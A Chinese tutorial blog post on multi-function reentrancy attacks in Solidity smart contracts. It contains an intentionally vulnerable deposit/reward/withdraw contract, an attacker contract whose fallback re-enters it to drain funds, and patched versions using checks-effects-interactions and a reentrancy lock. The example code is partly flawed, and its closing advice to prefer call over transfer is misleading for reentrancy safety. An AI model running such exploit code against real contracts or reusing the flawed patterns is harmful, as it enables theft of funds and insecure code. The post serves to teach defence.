首页 > 其他分享 >智能合约中的多个函数重入攻击(Reentrancy Attack)详解

智能合约中的多个函数重入攻击(Reentrancy Attack)详解

时间:2025-01-14 22:05:44浏览次数:3  
标签:Reentrancy 函数 balances msg Attack 详解 攻击者 合约 public

简介

在区块链智能合约开发中,重入攻击(Reentrancy Attack) 是一种非常危险的漏洞类型。攻击者通过利用合约内函数之间的调用漏洞,可能会重复调用某个函数或多个函数,从而导致不正常的行为,甚至损失资金。通常,重入攻击依赖于合约执行过程中状态更新与外部合约交互的顺序错误。

在这篇博文中,我们将讨论 多个函数的重入攻击,并通过一个简单的示例,解释如何通过一个函数调用另一个函数的漏洞进行攻击,及其防范措施。

什么是多个函数重入攻击?

多个函数重入攻击与单个函数重入攻击的原理相似,但在多个函数的交互中,攻击者通过精心设计的攻击路径,使得重入攻击不仅仅发生在一个函数中,而是多个函数之间相互触发。攻击者可以通过不断调用这些函数,从而不断影响合约状态,最终获取非法利益。

攻击的基本流程

多个函数的重入攻击通常发生在以下几种场景:

  1. 合约函数间有相互调用的依赖。
  2. 合约函数修改状态时未立即更新,并在中途进行外部调用。
  3. 攻击者通过合约的状态修改、函数之间的依赖关系,递归地进行攻击。

我们通过一个简单的示例来展示如何利用多个函数之间的重入攻击漏洞。

攻击示例

假设有一个合约,该合约允许用户存款、提现以及奖励机制。合约有三个主要功能:

  1. 存款函数 (deposit):用户存款,并将资金记录在合约中。
  2. 提款函数 (withdraw):用户请求提现,合约转账给用户,并更新余额。
  3. 奖励函数 (reward):合约在提现时会奖励用户一定比例的奖励。
// 不安全的合约,容易受到多个函数重入攻击
pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public rewards;

    // 存款功能
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 奖励发放功能(奖励发放时触发提现)
    function reward(address user) public {
        uint256 rewardAmount = balances[user] / 10; // 奖励金额是存款的10%
        rewards[user] += rewardAmount;

        // 奖励后触发提现
        withdraw(rewardAmount);
    }

    // 提款功能(漏洞所在)
    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // 先转账,再更新余额(漏洞在这里)
        payable(msg.sender).transfer(amount);
        balances[msg.sender] -= amount;
    }
}

重入攻击的发生

在上述合约中,存在一个重入攻击的隐患。我们来分析一下发生重入攻击的路径。

1. 存款与奖励的交互

  • 用户首先调用 deposit() 函数存入一定的以太币。
  • 然后,攻击者调用 reward() 函数来获取奖励,这会触发合约中的 withdraw() 函数来提取资金。
  • withdraw() 函数执行时,攻击者的合约可以通过重入攻击再次调用 withdraw() 函数(通过 reward() 调用 withdraw())。

2. 攻击路径

攻击者可以通过一个恶意合约与 Vulnerable 合约进行交互。当攻击者调用 reward() 函数时,reward() 会先计算奖励金额并调用 withdraw() 函数进行资金转账。然而,在转账过程中,攻击者的合约的回退函数(fallback())会被触发,导致攻击者的合约再次调用 withdraw(),从而重复提取资金。

攻击者合约示例:

// 攻击者合约
pragma solidity ^0.8.0;

import "./Vulnerable.sol";

contract Attacker {
    Vulnerable public vulnerableContract;

    constructor(address _vulnerableAddress) {
        vulnerableContract = Vulnerable(_vulnerableAddress);
    }

    // 攻击者合约的回退函数
    fallback() external payable {
        if (address(vulnerableContract).balance > 0) {
            vulnerableContract.reward(msg.sender); // 重复调用 reward 函数
        }
    }

    // 发起攻击
    function attack() public payable {
        vulnerableContract.deposit{value: msg.value}();
        vulnerableContract.reward(msg.sender); // 发起奖励请求
    }
}

攻击的步骤:

  1. 攻击者首先将一定量的以太币存入 Vulnerable 合约。
  2. 然后,攻击者调用 reward() 函数,触发合约执行 withdraw() 函数来转账奖励。
  3. withdraw() 转账过程中,攻击者的合约回退函数被触发,攻击者合约再次调用 reward() 函数,重新进入 withdraw()
  4. 重复以上步骤,直到合约的余额被消耗完。

防范多个函数重入攻击

为了避免类似的多个函数重入攻击,合约开发者应遵循以下原则:

1. 检查-效果-交互模式(Check-Effects-Interactions Pattern)

首先修改合约的状态,再进行外部调用。这意味着在执行任何外部合约操作(如转账)之前,应该先更新合约的内部状态,以确保即使攻击者再次调用函数时,也不会发生不一致的状态变化。

例如,将提现函数修改为:

// 安全的提现合约
pragma solidity ^0.8.0;

contract Secure {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public rewards;

    // 存款功能
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 奖励发放功能
    function reward(address user) public {
        uint256 rewardAmount = balances[user] / 10;
        rewards[user] += rewardAmount;

        // 先更新余额,再转账
        balances[user] -= rewardAmount;
        payable(user).transfer(rewardAmount);
    }

    // 提款功能
    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // 先更新余额,再转账
        balances[msg.sender] -= amount;
        payable(msg.sender).transfer(amount);
    }
}

2. 使用重入锁(Reentrancy Guard)

为了确保同一时间只有一个操作在执行,可以使用重入锁。通过引入一个布尔变量,防止合约函数在执行过程中被重入。

contract SecureWithLock {
    bool internal locked;
    mapping(address => uint256) public balances;
    mapping(address => uint256) public rewards;

    modifier noReentrancy() {
        require(!locked, "No reentrancy allowed!");
        locked = true;
        _;
        locked = false;
    }

    // 存款功能
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 奖励发放功能(带锁)
    function reward(address user) public noReentrancy {
        uint256 rewardAmount = balances[user] / 10;
        rewards[user] += rewardAmount;

        // 更新余额,执行转账
        balances[user] -= rewardAmount;
        payable(user).transfer(rewardAmount);
    }

    // 提款功能(带锁)
    function withdraw(uint256 amount) public noReentrancy {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // 更新余额,执行转账
        balances[msg.sender] -= amount;
        payable(msg.sender).transfer(amount);
    }
}

3. 使用 call 而不是 transfer

call 方法更灵活,可以设置更高的 gas 限制,并且它提供了更强的错误处理机制,避免了 transfer 方法的限制。

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed!");

总结

多个函数的重入攻击是智能合约中的一种常见攻击模式,攻击者通过利用合约内部函数的相互调用,重复进行恶意操作,最终导致合约资金的损失。为了防范重入攻击,开发者应该遵循最佳实践,如检查-效果-交互模式、引入重入锁、使用 call 代替 transfer 等。通过合理的设计和安全措施,可以有效避免这种攻击,保证合约的安全性。

 

标签:Reentrancy,函数,balances,msg,Attack,详解,攻击者,合约,public
From: https://blog.csdn.net/2201_75798391/article/details/145100718

相关文章

  • JavaScript详解 ——函数
    1、函数的概念在JS里面,可能会定义非常多的相同代码或者功能相似的代码,这些代码需要大量重复使用函数:就是封装一段可被重复调用执行的代码块。通过代码块可以实现在需要的的重复使用,使用typeof检查一个函数对象时,会返回function函数的封装是把一个或者多个功能通过函数的方式......
  • Python 文件和异常捕获(详解)
            前言:在Python编码中,我们会学到python中的文件的读取与写入,当然还有对文件夹的操作,在文章的最后还有异常捕获的详细解释~~一.文件的概念:        有名称:每个文件都有一个文件名,用于在特定的文件系统中唯一标识该文件,方便用户和系统对文件进行识别、访......
  • Qt/C++ 基于回调模式的海康3D相机开发流程详解(附工程源码、开发文档下载链接)
    本文将基于海康3D相机SDK的回调模式,通过具体代码讲解如何完成从设备初始化到图像采集的完整流程。以下是标准的流程图和具体的开发步骤。一、开发流程概述流程分为以下几个关键步骤:运行环境初始化:调用MV3D_LP_Initialize(),初始化SDK运行环境。设备发现:调用MV3D_LP_Get......
  • 深度剖析RabbitMQ:从基础组件到管理页面详解
    文章目录一、简介二、Overview2.1Overview->Totals2.2Overview->Nodesbroker的属性2.3Overview->Churnstatistics2.4Overview->Portsandcontexts2.5Overview->Exportdefinitions2.6Overview->Importdefinitions三、Connections连接的属性四、Channels通道的......
  • 【邮件钓鱼】技术干货:从伪造域名到隐藏链接,攻防实战详解(中)
    0x01前言★声明:未知攻焉知防,本文以安全教育为主,不可用于违法行为,造成的一切后果,与本人无关。邮件伪造是信息安全中的常见手段之一,很多人在实践中因不了解核心原理而踩坑。本篇将结合实践经验,系统讲解邮件伪造的原理与操作方法。如果对SPF和DKIM验证原理不熟悉,请先阅读上......
  • 【AI+框架】2025智能计算中心技术框架详解
    智算中心是对外提供AI算力服务的公共基础设施,如何构建一个高性能、可扩展的技术架构,是智算中心非常重要的技术支撑,所以要在智算中心完成算力的生产、聚合、调度和释放,从而实现构建平台,提供服务。智算中心的总体架构如下图所示:【图1】智能计算中心总体架构图1.整个架构可以......
  • SQL 详解数据库
    SQL(StructuredQueryLanguage,结构化查询语言)是一种专门用于与关系型数据库进行交互的标准化语言。它可以用于查询、更新和管理数据库中的数据,以及定义和控制数据库的结构。以下是SQL的主要功能模块及其详解:1.数据查询(DataQuery)1.1SELECT语句用于从数据库中检索......
  • 【JAVA 基础 第(18)课】HashSet 使用方法详解
    HashSet:Set接口的实现类,存放无序的,不可重复的元素判断是否为重复的对象比较hashCode()方法的返回值,如果不同,判定为不同的对象,如果相同,执行第二步判断equals()方法的返回值,如果为true,则判为相同的对象,如果为false,则为不同的对象publicclassHashSetTest{ publicstatic......
  • GodoOS本地代理实现详解
    引言在现代软件开发中,代理服务器扮演着至关重要的角色。它们可以用于负载均衡、请求转发、缓存、安全控制等多种场景。本文将详细介绍godoos中的本地代理实现,包括其架构设计、核心功能以及具体的实现细节。架构设计核心组件ProxyServer结构体:用于存储服务类型和实际服务......
  • 扩散模型原理详解
    引言        扩散模型(DiffusionModels,DM)是一类基于深度学习的生成模型,其核心思想是通过模拟物理扩散过程,将数据逐步转化为噪声,然后学习逆向过程,从噪声中逐步恢复出原始数据,从而实现高质量的生成效果。扩散模型在图像生成、语音合成、文本生成等多个领域取得了显著......